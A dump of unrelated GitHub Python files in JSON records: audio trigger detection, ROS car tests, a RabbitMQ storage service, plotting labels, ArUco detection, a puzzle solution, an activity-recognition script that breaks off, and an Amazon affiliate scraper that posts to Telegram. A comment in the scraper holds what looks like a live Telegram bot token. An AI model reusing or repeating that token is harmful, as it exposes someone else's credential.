range(Ty):\n # Step 3: Increment consecutive output steps\n consecutive_timesteps += 1\n # Step 4: If prediction is higher than the threshold and more than 75 consecutive output steps have passed\n if predictions[0,i,0] > threshold and consecutive_timesteps > 75:\n # Step 5: Superpose audio and background using pydub\n audio_clip = audio_clip.overlay(chime, position = ((i / Ty) * audio_clip.duration_seconds)*1000)\n # Step 6: Reset consecutive output steps to 0\n consecutive_timesteps = 0\n \n audio_clip.export(\"chime_output.wav\", format='wav')\n\nd = TriggerWordDetector(model='Models/model1.h5')\npreds = d.predict_on_wav_file('Audios/example_train.wav')\nchime_on_activate('Audios/example_train.wav',preds,0.5)\n\n","repo_name":"yeaung276/TriggerWordDetection","sub_path":"src/trigger_word_detection.py","file_name":"trigger_word_detection.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39158978980","text":"#!/usr/bin/env python\n\n'''\n**********************************************************************\n* Filename : tanisTest.py\n* Description : Test script for various parts of the car.\n* Author : Joe Kocsis\n* E-mail : Joe.Kocsis3@gmail.com\n* Website : www.github.com/jkocsis3/tanis\n**********************************************************************\n'''\n\nimport time\nimport rospy\nfrom angela.msg import motormsg, steermsg\n\n\nclass TanisTest(object):\n \"\"\"docstring for TanisTest\"\"\"\n def __init__(self):\n self._verbose = True\n # we will be publishing messages on the setSpeed topic for the motor to sub to\n self.pub_speed = rospy.Publisher('/angela/motor/setSpeed', motormsg, queue_size=10)\n self.pub_steer = rospy.Publisher('/angela/steer/setAngle', steermsg, queue_size=10)\n # initialize the tanisTest node, this must be done before any other rospy package functions are called\n rospy.init_node(\"tanisTest\")\n\n if self._verbose:\n rospy.loginfo(\"Started the Test Node\")\n\n self.rate = rospy.Rate(10)\n self.targetSpeed = 100\n self.steerAngle = 90\n self.direction = 'right'\n\n # while ROS is running\n while not rospy.is_shutdown():\n self.TestSpeed()\n self.TestSteer()\n\n def TestSpeed(self):\n if self._verbose:\n rospy.loginfo(\"Current Speed = \" + str(self.targetSpeed))\n self.pub_speed.publish(self.targetSpeed, 1)\n time.sleep(5)\n print(\"stopping motors\")\n self.targetSpeed = 0\n self.pub_speed.publish(self.targetSpeed, 1)\n\n def TestSteer(self):\n if self._verbose:\n rospy.loginfo(\"Current Steering Angle = \" + str(self.steerAngle) + \" Direction of Turn = \" + str(self.direction))\n self.pub_steer.publish(self.steerAngle)\n time.sleep(5)\n\n self.steerAngle = 60\n if self._verbose:\n rospy.loginfo(\"Current Steering Angle = \" + str(self.steerAngle) + \" Direction of Turn = \" + str(self.direction))\n self.pub_steer.publish(self.steerAngle)\n time.sleep(5)\n self.steerAngle = 120\n if self._verbose:\n rospy.loginfo(\"Current Steering Angle = \" + str(self.steerAngle) + \" Direction of Turn = \" + str(self.direction))\n self.pub_steer.publish(self.steerAngle)\n time.sleep(5)\n self.steerAngle = 90\n if self._verbose:\n rospy.loginfo(\"Current Steering Angle = \" + str(self.steerAngle) + \" Direction of Turn = \" + str(self.direction))\n self.pub_steer.publish(self.steerAngle)\n \n\n\n\n\nif __name__ == '__main__':\n try:\n TanisTest()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"jkocsis3/Tanis","sub_path":"ros/src/angela/scripts/tests/TanisTest.py","file_name":"TanisTest.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"37015726943","text":"import json\nimport arrow\n\nfrom twisted.application import service\nfrom twisted.internet import defer\n\nfrom tendril.asynchronous.services.mq import PikaService\nfrom tendril.asynchronous.services.mq import default_pika_parameters\n\nfrom tendril.asynchronous.utils.logger import TwistedLoggerMixin\n\n_application_name = \"storage-engine\"\napplication = service.Application(_application_name)\n\nps = PikaService(default_pika_parameters())\nps.setServiceParent(application)\n\n\nclass rabbitwisted(service.Service, TwistedLoggerMixin):\n def __init__(self):\n super(rabbitwisted, self).__init__()\n self.amqp = None\n\n def startService(self):\n amqp_service = self.parent.getServiceNamed(\"amqp\") # pylint: disable=E1111,E1121\n self.amqp = amqp_service.getFactory()\n self.amqp.read_messages(\"i4.topic\", \"monitoring.#\", self.reshape)\n\n def write(self, msg_reshaped):\n return self.amqp.send_message(exchange=\"storage.topic\", routing_key='influxdb', message=msg_reshaped)\n\n @defer.inlineCallbacks\n def reshape(self, msg):\n\n received_dict = json.loads(msg.body)\n msg_reshaped = \"\"\n\n #daqEngine Message\n if set(received_dict.keys()) == set(['equipmentName', 'tagName', 'tagDataType', 'tagValue', 'tagTimestamp']):\n local_received_datetime = arrow.get(received_dict['tagTimestamp'])\n utc_received_datetime = local_received_datetime.to('UTC')\n\n #operationalStatus\n if received_dict['tagDataType'] == \"operationalStatus\":\n if received_dict['tagValue'] == \"offline\":\n tag_value = 0\n elif received_dict['tagValue'] == \"emergency_signal\":\n tag_value = 1\n elif received_dict['tagValue'] == \"fault_alarm\":\n tag_value = 2\n elif received_dict['tagValue'] == \"idle\":\n tag_value = 3\n elif received_dict['tagValue'] == \"operational_manual\":\n tag_value = 4\n elif received_dict['tagValue'] == \"operational_auto\":\n tag_value = 5\n else:\n self.log.info(\"Malformed tagValue for operationalStatus tag.\")\n msg_reshaped = '{tagName},' \\\n 'equipmentName={equipmentName},' \\\n 'tagName={tagName},' \\\n 'tagDataType={tagDataType} ' \\\n 'tagValue={tagValue} ' \\\n '{tagTimestamp}'.format(equipmentName=received_dict['equipmentName'],\n tagName=received_dict['tagName'].replace(' ', ''),\n tagDataType=received_dict['tagDataType'],\n tagValue=tag_value,\n tagTimestamp=int(\n utc_received_datetime.timestamp() * 1000 * 1000 * 1000))\n \n #boolean\n if received_dict['tagDataType'] == \"boolean\":\n msg_reshaped = '{tagName},' \\\n 'equipmentName={equipmentName},' \\\n 'tagName={tagName},' \\\n 'tagDataType={tagDataType} ' \\\n 'tagValue={tagValue} ' \\\n '{tagTimestamp}'.format(equipmentName=received_dict['equipmentName'],\n tagName=received_dict['tagName'].replace(' ', ''),\n tagDataType=received_dict['tagDataType'],\n tagValue=received_dict['tagValue'],\n tagTimestamp=int(\n utc_received_datetime.timestamp() * 1000 * 1000 * 1000))\n\n #integer or decimal\n if received_dict['tagDataType'] == \"integer\" or received_dict['tagDataType'] == \"decimal\":\n msg_reshaped = '{tagName},' \\\n 'equipmentName={equipmentName},' \\\n 'tagName={tagName},' \\\n 'tagDataType={tagDataType} ' \\\n 'tagValue={tagValue} ' \\\n '{tagTimestamp}'.format(equipmentName=received_dict['equipmentName'],\n tagName=received_dict['tagName'].replace(' ', ''),\n tagDataType=received_dict['tagDataType'],\n tagValue=received_dict['tagValue'],\n tagTimestamp=int(\n utc_received_datetime.timestamp() * 1000 * 1000 * 1000))\n # string\n if received_dict['tagDataType'] == \"string\":\n msg_reshaped = '{tagName},' \\\n 'equipmentName={equipmentName},' \\\n 'tagName={tagName},' \\\n 'tagDataType={tagDataType} ' \\\n 'tagValue=\\\"{tagValue}\\\" ' \\\n '{tagTimestamp}'.format(equipmentName=received_dict['equipmentName'],\n tagName=received_dict['tagName'].replace(' ', ''),\n tagDataType=received_dict['tagDataType'],\n tagValue=received_dict['tagValue'],\n tagTimestamp=int(\n utc_received_datetime.timestamp() * 1000 * 1000 * 1000))\n if msg_reshaped != \"\":\n self.log.info(msg_reshaped)\n yield self.write(msg_reshaped)\n # yield defer.succeed(True)\n\n\nts = rabbitwisted()\nts.setServiceParent(application)\n","repo_name":"neelaundhia/rabbitwisted","sub_path":"rabbitwisted_storageEngine.py","file_name":"rabbitwisted_storageEngine.py","file_ext":"py","file_size_in_byte":6207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1631133304","text":"from pmd_beamphysics.units import pg_units\n\n\nTEXLABEL = {\n# 'status'\n 't': 't',\n 'energy': 'E',\n 'kinetic_energy': r'E_{kinetic}',\n# 'mass',\n# 'higher_order_energy_spread',\n# 'higher_order_energy',\n 'px': 'p_x',\n 'py': 'p_y',\n 'pz': 'p_z',\n 'p': 'p',\n 'pr': 'p_r',\n 'ptheta': r'p_{\\theta}',\n 'x': 'x',\n 'y': 'y',\n 'z': 'z',\n 'r': 'r',\n 'Jx': 'J_x',\n 'Jy': 'J_y',\n 'beta': r'\\beta',\n 'beta_x': r'\\beta_x',\n 'beta_y': r'\\beta_y',\n 'beta_z': r'\\beta_z',\n 'gamma': r'\\gamma',\n 'theta': r'\\theta',\n 'charge': 'Q',\n# 'species_charge',\n# 'weight',\n #'average_current',\n 'norm_emit_x': r'\\epsilon_{n, x}',\n 'norm_emit_y': r'\\epsilon_{n, y}',\n 'norm_emit_4d': r'\\epsilon_{4D}',\n 'Lz': 'L_z',\n 'xp': \"x\\'\",\n 'yp': \"y\\'\",\n 'x_bar': r'\\overline{x}',\n 'px_bar': r'\\overline{p_x}', \n 'y_bar': r'\\overline{y}',\n 'py_bar': r'\\overline{p_y}' \n}\n\ndef texlabel(key: str):\n \"\"\"\n Returns a tex label from a proper attribute name.\n \n Parameters\n ----------\n key : str\n any pmd_beamphysics attribure\n \n Returns\n -------\n tex: str or None\n A TeX string if applicable, otherwise will return None\n \n \n Examples\n --------\n texlabel('cov_x__px') \n returns: '\\\\left'\n \n \n \n Notes:\n -----\n See matplotlib: \n https://matplotlib.org/stable/tutorials/text/mathtext.html\n \n \"\"\"\n \n # Basic cases\n if key in TEXLABEL:\n return TEXLABEL[key]\n \n for prefix in ['sigma_', 'mean_', 'min_', 'max_', 'ptp_', 'delta_']:\n if key.startswith(prefix):\n pre = prefix[:-1]\n key0 = key[len(prefix):]\n tex0 = texlabel(key0)\n \n if pre in [ 'min', 'max']:\n return f'\\\\{pre}({tex0})'\n if pre == 'sigma':\n return rf'\\sigma_{{ {tex0} }}'\n if pre == 'delta':\n return fr'{tex0} - \\left<{tex0}\\right>'\n if pre == 'mean':\n return fr'\\left<{tex0}\\right>'\n \n if key.startswith('cov_'):\n subkeys = key.strip('cov_').split('__')\n tex0 = texlabel(subkeys[0])\n tex1 = texlabel(subkeys[1])\n return fr'\\left<{tex0}, {tex1}\\right>'\n \n \n # Not found\n #raise ValueError(f'Unable to form tex label for {key}')\n \n return key\n \n\n \n \n \ndef texlabel_with_unit(key, prefix=''):\n \"\"\"\n Helper function to return $label (unit)$ using tex\n \"\"\"\n u = pg_units(key).unitSymbol\n u = prefix + u\n \n tex = texlabel(key)\n if tex:\n label = f'${tex}$ ({u})' \n else:\n label = f'${key}$ ({u})' \n \n return label","repo_name":"jacquelinegarrahan/openPMD-beamphysics","sub_path":"pmd_beamphysics/labels.py","file_name":"labels.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"14514371903","text":"import math\nimport os\nimport numpy as np\nimport pandas as pd\nimport statistics as st\nlayouts = os.listdir('./layouts')\nlayouts = [i[:-4] for i in layouts]\nagents = ['TOSarsaAgent','ApproximateQAgent']\nRewards = {}\nfor agent in agents:\n Rewards[agent] = {}\n for i in layouts:\n Rewards[agent][i] = {}\n Rewards[agent][i]['AVGRewards'] = []\n if agent == agents[1]:\n Rewards[agent][i]['files'] = [file for file in os.listdir('./modelperformance') if (agent in file and i in file)]\n else:\n Rewards[agent][i] = {}\n Rewards[agent][i]['AVGRewards'] = []\n Rewards[agent][i]['files'] = [file for file in os.listdir('./modelperformance') if (agent in file and i in file and '0.3' in file)]\nfor agent in agents:\n for lay in layouts:\n for file in Rewards[agent][lay]['files']:\n df = pd.read_json('./modelperformance/'+file)\n Rewards[agent][lay]['AVGRewards'].extend([i for i in list(df['TotalAverageReward'])])\n\nTTest = {}\nprint('layout p-value')\nfor layout in layouts:\n lt = Rewards[agents[0]][layout]['AVGRewards']\n a = [lt[i] for i in range(100,2000,100)]\n lt = Rewards[agents[1]][layout]['AVGRewards']\n b = [lt[i] for i in range(100,2000,100)]\n import scipy.stats as sts\n\n x = sts.ttest_rel(b,a)\n print(f'{layout} {x[1] / 2.0}')","repo_name":"aasishtammana/Artificial-Intelligence","sub_path":"Team Project/AiGroupProject/generatettestresults.py","file_name":"generatettestresults.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33755775125","text":"import random\r\nimport time\r\nfrom amazon_affiliate_url import AmazonAffiliateUrl, Country\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport telegram\r\nimport csv\r\n\r\n# PROGRAMMA MADE BY DI MENNA SIRO LEON alias SDIMENNA01 \r\n#questo programma consente di ottere il link affiliato amazon ma non è molto efficace dato che non utilizza api da amazon ma esegue uno web-scraping\r\n# e quindi in futuro avrà bisogno di una manuntenzione.\r\n\r\n\r\nheaders = {\"User-Agent\": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36'}\r\n\r\n\r\n#FUNZIONE che ricava il link affiliato\r\ndef get_url(asin):\r\n\tASIN = asin\r\n\tTAG = '190e8f-21'\r\n\r\n\tURL= AmazonAffiliateUrl.url_cls(asin_or_url=ASIN, affiliate_tag=TAG, country=Country.Italy)\r\n\r\n\tmodURL = URL[:-3]\r\n\r\n\treturn modURL\r\n\r\n#FUNZIONE che mi trova il codice Asin del prodotto, utile per ricavare link affiliato\r\ndef get_asin(URL_product):\r\n\r\n\tseparate = URL_product.split('/')\r\n\r\n\tasin = separate[5]\r\n\r\n\treturn asin[0:10]\r\n\r\n\r\n# FUNZIONE che mi permette trovare tutti i prodotti della categoria tech\r\ndef search_productOffer_tech(URL):\r\n\r\n\t#URL = 'https://www.amazon.it/deal/c97b811f?showVariations=true&ref=dlx_deals_gd_dcl_img_6_c97b811f_dt_sl6_6d'\r\n\tpage = requests.get(URL,headers = headers)\r\n\r\n\tsoup = BeautifulSoup(page.content, 'html.parser')\r\n\r\n\tproducts = soup.find_all('li', \"a-list-normal\")\r\n\r\n\t#print(products)\r\n\tinfo = []\r\n\tfor prod in products:\r\n\t\tlink = prod.find('a', {'class' : 'a-size-base a-color-base a-link-normal a-text-normal'})['href']\r\n\t\tinfo.append(link)\r\n\treturn list(dict.fromkeys(info))\r\n\r\n\r\ndef get_price(URL):\r\n\r\n\tpage = requests.get(URL,headers = headers)\r\n\r\n\tsoup = BeautifulSoup(page.content, 'html.parser')\r\n\r\n\r\n\ttry:\r\n\t\tprice = soup.find(id = 'corePrice_feature_div').get_text()\r\n\t\t\r\n\t\t#print(\"price\", price)\r\n\t\tex_price = soup.find('span', {'class' : \"a-price a-text-price a-size-base\"}).get_text()\r\n\r\n\texcept:\r\n\t\tprice = soup.find('td', {'class' : \"a-color-secondary a-size-base a-text-right a-nowrap\"}).get_text()\r\n\t\t#print(\"prezzo_\")\r\n\t\r\n\tc_price = price.split(\"€\")\r\n\tc_ex_price = ex_price.split('€')\r\n\r\n\tall_price = c_price[0] + '/' + c_ex_price[1]\r\n\t\r\n\treturn all_price\r\n\r\n\r\ndef get_Title(URL):\r\n\tpage = requests.get(URL, headers = headers)\r\n\r\n\tsoup = BeautifulSoup(page.content, 'html.parser')\r\n\r\n\t#print(soup.prettify())\r\n\r\n\ttitle = soup.find('span', {'class' : \"a-size-large product-title-word-break\"}).get_text()\r\n\r\n\ttitle.split(',')\r\n\treturn title\r\n\r\ndef send_message_Telegram(Link_affiliato, vecchio_prezzo, nuovo_prezzo, percentuale_scontata, titolo):\r\n#\tchrome_driver = ChromeDriverManager().install()\r\n#\tdriver = Chrome(service=Service(chrome_driver))\r\n\r\n#\ttoken = '5367203183:AAGazC_CBHZVJla6B9NuMLV3EyoeVPJ7LV4'\r\n#\tchat = ''\t\r\n#\tURL_mess = 'https://api.telegram.org/bot' + token + '/sendMessage?chat_id=@asasasassssssssssssss&text=' + Link_affiliato\r\n#\tdriver.get(URL_mess)\r\n\r\n\r\n\r\n#\tbot = telebot.TeleBot('TOKEN')\r\n\r\n\r\n#\tbot.send_message(message.channel.id, 'ciao')\r\n\r\n#\tbot.polling()\t\r\n\t\r\n\temoji = ['🔥', '🎉', '😎' , '🙌' , '🤑']\r\n\r\n\tcon_vecchio_prezzo = str(vecchio_prezzo)\r\n\tcon_nuovo_prezzo = str(nuovo_prezzo)\r\n\r\n\tbot = telegram.Bot('TOKEN')\r\n\r\n\ttesto_lungo = '\\n' + titolo.strip() + '\\n' + '\\n' + \"PASSA DA \" + con_vecchio_prezzo + \"€ A SOLI \" + con_nuovo_prezzo + '€ '+ random.choice(emoji) + '\\n' + \" 👉clicca qui👈\"\r\n\tbot.send_message(text=testo_lungo, chat_id = '@TELEGRAM_CHANNEL', parse_mode=telegram.ParseMode.HTML )\r\n\r\n\tprint(\"messaggio inviato...\")\r\n\r\ndef leggi_csv():\r\n\tURL = []\r\n\twith open('miei_link', \"r\") as readfile:\r\n\t\tread = csv.reader(readfile)\r\n\t\tfor line in read:\r\n\t\t\tfor l in line:\r\n\t\t\t\tURL.append(l)\r\n\tprint(URL)\r\n\treturn URL\r\n\t\r\n\t\r\n\r\n#cuore del programama\r\ndef main():\r\n\r\n\r\n#\tarray che contiene tutti gli url amazon utili\r\n\tURLS = leggi_csv()\r\n\t\r\n\r\n\tesecuzioni = 0 \r\n\tcount_errori = 0\r\n\twhile True:\r\n\t\ttry:\r\n\t\t\tesecuzioni = esecuzioni + 1\r\n\t\t#seleziono un url casuale dall' array e poi prendo un \r\n\t\t#prodotto casuale per infine creare il link affiliato. alla fine conto i numeri di errore\r\n\t\t\ttry:\r\n\t\t\t\tURL = random.choice(URLS)\r\n\t\t\texcept:\r\n\t\t\t\tURL = random.choice(URLS)\t\r\n\t\t\tControlloURL = URL.split('/')\r\n\t\t\tif ControlloURL[3] == 'deal':\r\n\t\t\t\tproduct = search_productOffer_tech(URL)\r\n\t\t\t\ttry:\r\n\t\t\t\t\tproductChoosen = random.choice(product)\r\n\t\t\t\texcept:\r\n\t\t\t\t\tproductChoosen = random.choice(product)\r\n\t\t\t\tstringCompleta = \"https://www.amazon.it\" + productChoosen\r\n\t\t\t\tasin = get_asin(stringCompleta)\r\n\t\t\telse:\r\n\t\t\t\tasin = get_asin(URL)\r\n\t\t\t#print(asin)\r\n\t\t\t\r\n\t\t\tLink_affiliato = get_url(asin)\r\n\t\t#\tprint(Link_affiliato)\r\n\t\t\tprezzo = get_price(Link_affiliato)\r\n\t\t\tprezzi = prezzo.split('/')\r\n\r\n\t\t\t\t\r\n\t\t\ttry:\r\n\t\t\t\tvecchio_prezzo = float(prezzi[1].replace(',','.'))\r\n\t\t\t\tnuovo_prezzo = float(prezzi[0].replace(',','.'))\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\texcept:\r\n\t\t\t\tvecchio_prezzo = prezzi[1]\r\n\t\t\t\tnuovo_prezzo = prezzi[0]\r\n\t\t\t\t\r\n\t\t\t\tmaketrans = vecchio_prezzo.maketrans\r\n\t\t\t\tvecchio_prezzo = vecchio_prezzo.translate(maketrans(',.', '.,'))\r\n\t\t\t\t\r\n\t\t\t\tmaketrans = nuovo_prezzo.maketrans\r\n\t\t\t\tnuovo_prezzo = nuovo_prezzo.translate(maketrans(',.', '.,'))\r\n\r\n\t\t\t\tvecchio_prezzo = vecchio_prezzo.replace(',','')\r\n\t\t\t\tnuovo_prezzo = nuovo_prezzo.replace(',','')\r\n\t\t\t\t#print(vecchio_prezzo, nuovo_prezzo)\r\n\r\n\t\t\tdifferenza_prezzo = float(vecchio_prezzo) - float(nuovo_prezzo)\r\n\t\t\tpercentuale_scontata = 100 - ((float(vecchio_prezzo) - (differenza_prezzo))/float(vecchio_prezzo)) * 100 \r\n\r\n\t\t\ttitolo = get_Title(Link_affiliato)\r\n\t\t\r\n\r\n\t\t\tprint(Link_affiliato)\r\n\r\n\t\t\tprint(nuovo_prezzo)\r\n\t\t\tprint(vecchio_prezzo)\r\n\t\t\tprint(titolo)\r\n\t\t\t\t\r\n\t\t\tsend_message_Telegram(Link_affiliato, vecchio_prezzo, nuovo_prezzo, percentuale_scontata, titolo)\r\n#\t\t\ttime.sleep(300)\r\n\r\n\t\texcept:\r\n\t\t\tcount_errori = count_errori+1\r\n\t\t\tprint(count_errori)\r\n\r\n\r\nmain()\r\n","repo_name":"Sdimenna/public","sub_path":"scrape/scraper2.py","file_name":"scraper2.py","file_ext":"py","file_size_in_byte":5873,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"73634880411","text":"import cv2\r\nimport imutils\r\nimport sys\r\nimport os\r\nimport numpy as np\r\nimport argparse\r\n\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"-i\", \"--image\", required=True, help=\"path to the image\")\r\nap.add_argument(\"-t\", \"--type\", required=True,\r\n help=\"tag of the marker to b detected\")\r\nargs = vars(ap.parse_args())\r\n\r\nimage = cv2.imread(args['image'])\r\n\r\nARUCO_DICT = {\r\n \"DICT_4X4_50\": cv2.aruco.DICT_4X4_50,\r\n \"DICT_4X4_100\": cv2.aruco.DICT_4X4_100,\r\n \"DICT_4X4_250\": cv2.aruco.DICT_4X4_250,\r\n \"DICT_4X4_1000\": cv2.aruco.DICT_4X4_1000,\r\n \"DICT_5X5_50\": cv2.aruco.DICT_5X5_50,\r\n \"DICT_5X5_100\": cv2.aruco.DICT_5X5_100,\r\n \"DICT_5X5_250\": cv2.aruco.DICT_5X5_250,\r\n \"DICT_5X5_1000\": cv2.aruco.DICT_5X5_1000,\r\n \"DICT_6X6_50\": cv2.aruco.DICT_6X6_50,\r\n \"DICT_6X6_100\": cv2.aruco.DICT_6X6_100,\r\n \"DICT_6X6_250\": cv2.aruco.DICT_6X6_250,\r\n \"DICT_6X6_1000\": cv2.aruco.DICT_6X6_1000,\r\n \"DICT_7X7_50\": cv2.aruco.DICT_7X7_50,\r\n \"DICT_7X7_100\": cv2.aruco.DICT_7X7_100,\r\n \"DICT_7X7_250\": cv2.aruco.DICT_7X7_250,\r\n \"DICT_7X7_1000\": cv2.aruco.DICT_7X7_1000,\r\n \"DICT_ARUCO_ORIGINAL\": cv2.aruco.DICT_ARUCO_ORIGINAL,\r\n \"DICT_APRILTAG_16h5\": cv2.aruco.DICT_APRILTAG_16h5,\r\n \"DICT_APRILTAG_25h9\": cv2.aruco.DICT_APRILTAG_25h9,\r\n \"DICT_APRILTAG_36h10\": cv2.aruco.DICT_APRILTAG_36h10,\r\n \"DICT_APRILTAG_36h11\": cv2.aruco.DICT_APRILTAG_36h11\r\n}\r\n\r\n\r\narucoDict = cv2.aruco.Dictionary_get(ARUCO_DICT[args['type']])\r\narucoParams = cv2.aruco.DetectorParameters_create()\r\n(corners, ids, rejected) = cv2.aruco.detectMarkers(\r\n image, arucoDict, parameters=arucoParams)\r\n\r\nif len(corners) > 0:\r\n ids = ids.flatten()\r\n for (markerCorner, markerId) in zip(corners, ids):\r\n\r\n corners_abcd = markerCorner.reshape((4, 2))\r\n (topLeft, topRight, bottomRight, bottomLeft) = corners_abcd\r\n\r\n topRightPoint = (int(topRight[0]), int(topRight[1]))\r\n topLeftPoint = (int(topLeft[0]), int(topLeft[1]))\r\n bottomRightPoint = (int(bottomRight[0]), int(bottomRight[1]))\r\n bottomLeftPoint = (int(bottomLeft[0]), int(bottomLeft[1]))\r\n\r\n cv2.line(image, topLeftPoint, topRightPoint, (0, 255, 0), 2)\r\n cv2.line(image, topRightPoint, bottomRightPoint, (0, 255, 0), 2)\r\n cv2.line(image, bottomRightPoint, bottomLeftPoint, (0, 255, 0), 2)\r\n cv2.line(image, bottomLeftPoint, topLeftPoint, (0, 255, 0), 2)\r\n\r\n cX = int((topLeft[0] + bottomRight[0])//2)\r\n cY = int((topLeft[1] + bottomRight[1])//2)\r\n cv2.circle(image, (cX, cY), 4, (255, 0, 0), -1)\r\n\r\n cv2.putText(image, str(\r\n int(markerId)), (int(topLeft[0]-10), int(topLeft[1]-10)), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 255))\r\n\r\n # print(arucoDict)\r\n cv2.imshow(\"[INFO] marker detected\", image)\r\n cv2.waitKey(0)\r\n\r\nelse:\r\n # print(\"[INFO] No marker Detected\")\r\n pass\r\n\r\ncv2.destroyAllWindows()\r\n","repo_name":"deepanshusachdeva5/Real-Time-Depth-and-Distance-Calculation-Between-Two-Points","sub_path":"marker_detection.py","file_name":"marker_detection.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"19434465208","text":"with open(\"input.txt\") as f:\n data = [[int(i) for i in h] for h in f.read().strip().split(\"\\n\")]\n\nw = len(data[0])\nh = len(data)\ndef neighbours(x, y):\n if x > 0: yield (x-1, y)\n if y > 0: yield (x, y-1)\n if x < w-1: yield (x+1, y)\n if y < h-1: yield (x, y+1)\n\nbasinStarts = []\nfor y in range(len(data)):\n for x in range(len(data[y])):\n if data[y][x] < min([data[yn][xn] for (xn, yn) in neighbours(x, y)]):\n basinStarts.append((x, y))\n\nbasinSizes = []\nfor (x, y) in basinStarts:\n counter = 1\n pCounter = 0\n basin = [[(x, y)]]\n flatBasin = [(x, y)]\n while counter != pCounter:\n pCounter = counter\n basinCont = set([g for b in basin[-1] for g in [n for n in neighbours(b[0], b[1]) if n not in flatBasin and data[n[1]][n[0]] != 9]])\n flatBasin += basinCont\n basin.append(basinCont)\n counter += len(basinCont)\n basinSizes.append(counter)\n # print(\"\\n\".join([\"\".join([\"x\" if (x, y) in flatBasin else \"-\" for x in range(w)]) for y in range(h)]))\nprod = 1\nfor i in sorted(basinSizes)[-3:]:\n prod *= i\nprint(prod)\n","repo_name":"CodedSakura/AoC2021","sub_path":"09/pre.B.py","file_name":"pre.B.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29658278271","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 20 07:09:04 2018\n\n@author: RAJDEEP PAL\n\"\"\"\n\nimport os\nimport pandas as pd\nimport numpy as np\nfrom sklearn.metrics import accuracy_score, classification_report, confusion_matrix, precision_score, recall_score, f1_score\nimport matplotlib.pyplot as plt\nimport itertools\n\nn_cls = 14\nall_cls = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]\nn_att = 15\nseed = 0\n#%% LOAD DATASET\n\n\n\ndirectory = 'F:/year 3/zsl/HMP_DATASET/extracted_features/zero_to_nine'\narr = os.listdir(directory)\n\nfeature_names = ['maxX', 'minX', 'avgX', 'stdX', 'slopeX', 'zcrX', 'maxY','minY','avgY','stdY', 'slopeY', 'zcrY', 'maxZ', 'minZ', 'avgZ', 'stdZ', 'slopeZ', 'zcrZ', 'maxACC', 'minACC', 'avgACC', 'stdACC', 'XYcorr', 'YZcorr','ZXcorr', 'energy']\n\npath = directory+'/'+arr[0]\ndata = []\n\nfor file_name in arr:\n path = directory + '/' + file_name\n df = pd.read_csv(path, names = feature_names)\n data.append(df)\n print (df.shape)\n\n\ndirectory = 'F:/year 3/zsl/HMP_DATASET/extracted_features/ten_to_thirteen'\narr = os.listdir(directory)\n\nfor file_name in arr:\n path = directory + '/' + file_name\n df = pd.read_csv(path, names = feature_names)\n data.append(df)\n print (df.shape)\n\n\n#%% LOAD ACTIVITY ATTRIBUTE MATRIX\n \n # F:\\year 2\\hpg\\project\\activity_attribute_matrix.csv\natt_names = ['sittting', 'standing', 'walking', 'posture_upright', 'wrist_movement', 'arm_pendulum_swing', 'hands_on_table', 'hand_above_chest', 'translation_motion', 'cyclic_motion', 'meal_related', 'morning', 'evening', 'potential_energy_increase', 'potential_energy_decrease']\naam = pd.read_csv('F:/year 3/zsl/HMP_DATASET/models_code/matrix.csv', names = att_names)\nprint (aam)\n\n\nclass_names = ['brush_teeth', 'climb_stairs', 'comb_hair', 'descend_stairs', 'drink_glass', 'eat_meat', 'eat_soup', 'getup_bed', 'liedown_bed', 'pour_water', 'sitdown_chair', 'standup_chair', 'use_telephone', 'walk'] \n\n\n\n#%%\ndef get_clf(attribute, ts_cls):\n from sklearn.metrics import accuracy_score\n from sklearn.model_selection import train_test_split\n from sklearn.svm import SVC, OneClassSVM\n \n ex = pd.DataFrame()\n tr_cls = [x for x in all_cls if (x not in ts_cls)]\n \n \n for cls in tr_cls:\n #print ('class', cls)\n df = data[cls]\n m, n = df.shape\n # print (m)\n \n if (attribute[cls] == 1):\n tgt_df = pd.DataFrame(np.ones(m), columns = ['target'])\n #print (1)\n else:\n tgt_df = pd.DataFrame(np.zeros(m), columns = ['target'])\n #print (0)\n \n df = df.join(tgt_df)\n ex = ex.append(df, ignore_index = True)\n \n X = ex[feature_names]\n y = ex['target']\n # print ('abc', y.shape)\n \n X_train, X_test, y_train, y_test = train_test_split(X, y, random_state = seed)\n if (y[y == 1].size == 0 or y[y == 0].size == 0):\n clf = OneClassSVM(nu=0.1, kernel=\"rbf\", gamma=0.1, random_state = seed).fit(X_train)\n predict = clf.predict(X_test)\n acc = accuracy_score(y_test, predict)\n else:\n clf = SVC(random_state = seed).fit(X_train, y_train)\n acc = clf.score(X_test, y_test)\n\n return (clf, acc)\n \n \n\n\n#%%\n\n\n\ndef train_clf(ts_cls, att_acc):\n clf_arr = []\n for i, attribute in enumerate(att_names):\n attribute_vector = aam[attribute]\n (clf, acc) = get_clf(attribute_vector, ts_cls)\n \n clf_arr.append(clf)\n att_acc[i] += acc \n return clf_arr\n\n\n#%%\n \ndef get_predicted_attribute_vec(x, clf_arr):\n y_pred = []\n for attribute in range(0, n_att):\n clf = clf_arr[attribute]\n 